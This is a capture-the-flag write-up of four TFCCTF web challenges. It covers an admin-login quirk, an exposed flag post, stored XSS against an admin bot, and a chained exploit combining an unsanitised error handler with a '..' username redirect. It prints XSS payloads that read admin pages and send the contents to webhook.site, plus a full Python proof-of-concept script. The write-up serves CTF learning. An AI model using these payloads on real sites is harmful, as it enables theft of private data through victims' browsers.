[ Mctree ]
admin account already exists. I guessed that I could get flag if I log in with admin account.
If register id with admin" , you can see you are register in admin account.
Then, login with account that you reigstered. Here is my payload.
ID : admin"
PW : a
● Flag
TFCCTF{I_l1k3_dr4g0n_tr33s__Yuh!_1ts_my_f4v0r1t3_tr33_f0r_sur3!}
[ Ducky note ]
It's a web application which has admin bot. Check out the point of this chall.
(I will pass login & register function. It's not important)
def db_init():
con = sqlite3.connect('database/data.db')
# Create users database
query(con, '''
CREATE TABLE IF NOT EXISTS users (
id integer PRIMARY KEY,
username text NOT NULL,
password text NOT NULL
);
''')
query(con, f'''
INSERT INTO users (
username,
password
) VALUES (
'admin',
'{os.environ.get("ADMIN_PASSWD")}'
);
''')
# Create posts database
query(con, '''
CREATE TABLE IF NOT EXISTS posts (
id integer PRIMARY KEY,
user_id integer NOT NULL,
title text,
content text NOT NULL,
hidden boolean NOT NULL,
FOREIGN KEY (user_id) REFERENCES users (id)
);
''')
query(con, f'''
INSERT INTO posts (
user_id,
title,
content,
hidden
) VALUES (
1,
'Here is a ducky flag!',
'{os.environ.get("FLAG")}',
1
);
''')
con.commit()
Flag post is made when service started, and it's content id is 1.
def auth_required(f):
@wraps(f)
def decorator(*args, **kwargs):
username = session.get('username')
if not username:
return abort(401, 'Not logged in!')
return f(username, *args, **kwargs)
return decorator
...
@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
if username != 'admin':
return jsonify('You must be admin to see all posts!'), 401
frontend_posts = []
posts = db_get_all_users_posts()
for post in posts:
try:
frontend_posts += [{'username': post['username'],
'title': post['title'],
'content': post['content']}]
except:
raise Exception(post)
return render_template('posts.html', posts=frontend_posts)
@web.route('/posts/view/<user>', methods=['GET'])
@auth_required
def posts_view(username, user):
try:
posts = db_get_user_posts(user, username == user)
except:
raise Exception(username)
return render_template('posts.html', posts=posts)
@web.route('/posts/create', methods=['GET'])
@auth_required
def posts_create(username):
return render_template('create.html', username=username)
Every function that needs user session bring it's auth from "auth_required" function. If you want to see all posts, you have to login in admin session. But there is another way to check out admin's post.
query(con, f'''
INSERT INTO posts (
user_id,
title,
content,
hidden
) VALUES (
1,
'Here is a ducky flag!',
'{os.environ.get("FLAG")}',
0
);
In init code, flag post wasn't set as hidden post. So just enter to "/posts/view/admin" endpoint.
● Flag
TFCCTF{Adm1n_l0St_h1s_m1nd!}
[ Ducky note: revenge ]
# database/database.py
query(con, f'''
INSERT INTO posts (
user_id,
title,
content,
hidden
) VALUES (
1,
'Here is a ducky flag!',
'{os.environ.get("FLAG")}',
1
);
The next step of ducky challenge. Now it hid flag post. Let's find out another way.
# bot.py
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
import time, os
def bot(username):
options = Options()
options.add_argument('--no-sandbox')
options.add_argument('headless')
options.add_argument('ignore-certificate-errors')
options.add_argument('disable-dev-shm-usage')
options.add_argument('disable-infobars')
options.add_argument('disable-background-networking')
options.add_argument('disable-default-apps')
options.add_argument('disable-extensions')
options.add_argument('disable-gpu')
options.add_argument('disable-sync')
options.add_argument('disable-translate')
options.add_argument('hide-scrollbars')
options.add_argument('metrics-recording-only')
options.add_argument('no-first-run')
options.add_argument('safebrowsing-disable-auto-update')
options.add_argument('media-cache-size=1')
options.add_argument('disk-cache-size=1')
client = webdriver.Chrome(options=options)
client.get(f"http://localhost:1337/login")
time.sleep(3)
client.find_element(By.ID, "username").send_keys('admin')
client.find_element(By.ID, "password").send_keys(os.environ.get("ADMIN_PASSWD"))
client.execute_script("document.getElementById('login-btn').click()")
time.sleep(3)
client.get(f"http://localhost:1337/posts/view/{username}")
time.sleep(30)
client.quit()
When we make a post and report it, then admin is going to check it. I tried to send basic xss payload to check whether xss could be triggered or not.
It worked. We can make admin enter into "/posts/view/admin" and send result text to our webhook site by using XSS attack.
<script>
fetch('http://localhost:1337/posts/view/admin')
.then((res)=>res.text()
.then((resp)=>{
fetch('https://webhook.site/b7a2293f-23a4-4008-8bca-117d4a8a5099?res='
+encodeURIComponent(resp));
})
);
</script>
● Flag
TFCCTF{Ev3ry_duCk_kn0w5_xSs!}
A simple but important point.
1. HttpOnly only prevents to hijack user's session, not prevent whole xss attack.
2. When organizing payload with "location.href", it can't use with ".then()" function. When you want to use request function, let's just use "fetch" API.
I solved these challs in time, and problems after this are the ones I couldn't solve.
[ Dukcy note 3 (Part 3)]
The next sequel of ducky challenge. This challenge requires fresh idea!
I sent same payload of ducky note2 to admin bot, but it didn't work. The service sanitizes post's content to prevent XSS.
Even though we look around, it seems no other exploit vector except for triggering XSS.
# routes.py
@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
if username != 'admin':
return jsonify('You must be admin to see all posts!'), 401
frontend_posts = []
posts = db_get_all_users_posts()
for post in posts:
try:
frontend_posts += [{'username': post['username'],
'title': post['title'],
'content': post['content']}]
except:
raise Exception(post)
return render_template('posts.html', posts=frontend_posts)
# app.py
@app.errorhandler(Exception)
def handle_error(e):
if not e.args or "username" not in e.args[0].keys():
return e, 500
error_date = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
post = e.args[0]
log_message = f'"{error_date}" {post["username"]} {post["content"]}'
with open(f"{app.config['LOG_DIR']}{error_date}.txt", 'w') as f:
f.write(log_message)
return log_message, 500
First point of this chall is in above code. If we intentionally raise error, we can see post's username and content which is not sanitized. Using this part, we can trigger XSS.
But how can we raise error in this service? We use absence of post's title.
// /js/create.js
async function create() {
let message = $("#alert-msg");
message.hide();
let title = $("#title").val();
let content = $("#content").val();
let hidden = $("#hidden").attr("checked");
hidden = ((hidden == 1) ? true : false);
if ($.trim(title) === '' || $.trim(content) === '') {
message.text("Missing title or content!");
message.show();
return;
}
const data = {title: title, content: content, hidden: hidden};
await fetch(`/api/posts`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(data),
})
.then((response) => response.json()
.then((resp) => {
message.text(resp);
message.show();
}))
.catch((error) => {
message.text(error);
message.show();
});
}
In creating post page, we need to enter 2 factors(title&content) at least. But this is front javascript code, so we can bypass this with "fetch" API.
fetch('http://challs.tfcctf.com:30314/api/posts', {
method: "POST",
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({'content':'
<script>
fetch("http://localhost:1337/posts/view/admin").then((response) =>
response.text().then((resp) => {
fetch(
"[Your Webhook site]?" +
encodeURIComponent(resp)
);
})
);
</script>', 'hidden':false })
}
)
Okay, we make XSS post without title. What's next?
# routes.py
@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
if username != 'admin':
return jsonify('You must be admin to see all posts!'), 401
frontend_posts = []
posts = db_get_all_users_posts()
for post in posts:
try:
frontend_posts += [{'username': post['username'],
'title': post['title'],
'content': post['content']}]
except:
raise Exception(post)
return render_template('posts.html', posts=frontend_posts)
If we let admin enter to "/posts/" endpoint, Exceptoin will be raised because of post we made which doesn't have title.
So, we have to lead admin to "/posts/" endpoint. To do this, we should make a new account named ".."
# bot.py
client.get(f"http://localhost:1337/posts/view/{username}")
After making user named "..", just do report. When report function is executed, admin will enter to "/posts/" endpoint, because our new account's username is "..".
When reporting, the following steps happen in this way.
1. Admin enter "/posts/" endpoint
2. Every post are loaded, but there is a post without title
3. Exception raises and service show "log_message" which doesn't sanitize username and content
4. As a result, admin check log_message and finally xss is triggered.
(we can get flag. Check your webhook site!)
● Summary
1. register with any username. e.g) as
2. create post with fetch API (Don't define title, only enter content with below payload)
3. report to admin with fetch API
4. make a new account named ".."
5. report to admin with fetch API
6. check your webhook site. There is a flag!
● PoC
import requests
url = 'http://challs.tfcctf.com:31906/'
webhook = 'https://webhook.site/fde008eb-188d-427d-8e2a-7d05180760f9'
USERNAME = 'as'
PASSWORD = "as"
# Register
s = requests.session()
r = s.post(url + 'api/register', json={'username': USERNAME, 'password': PASSWORD})
# Login
r = s.post(url + 'api/login', json={'username': USERNAME, 'password': PASSWORD})
# Create post
## Empty title to trigger exception for admin at /posts
PAYLOAD = """
<script>
fetch("http://localhost:1337/posts/view/admin").then((response) =>
response.text().then((resp) => {
fetch(
"{%s}?" +
encodeURIComponent(resp)
);
})
);
</script>
""" % webhook
r = s.post(url + 'api/posts', json={'content': PAYLOAD, 'hidden': False})
# Create User with path traversal
new_user_name = ".."
r = s.post(url + 'api/register', json={'username': new_user_name, 'password': PASSWORD})
# Login as path traversal user
r = s.post(url + 'api/login', json={'username': new_user_name, 'password': PASSWORD})
# Report user
r = s.post(url + 'api/report')
print("All Done! Check your webhook site")
● Flag
TFCCTF{Ev3ry_c00L_duCk_kn0w5_adVanc3d_xSs!}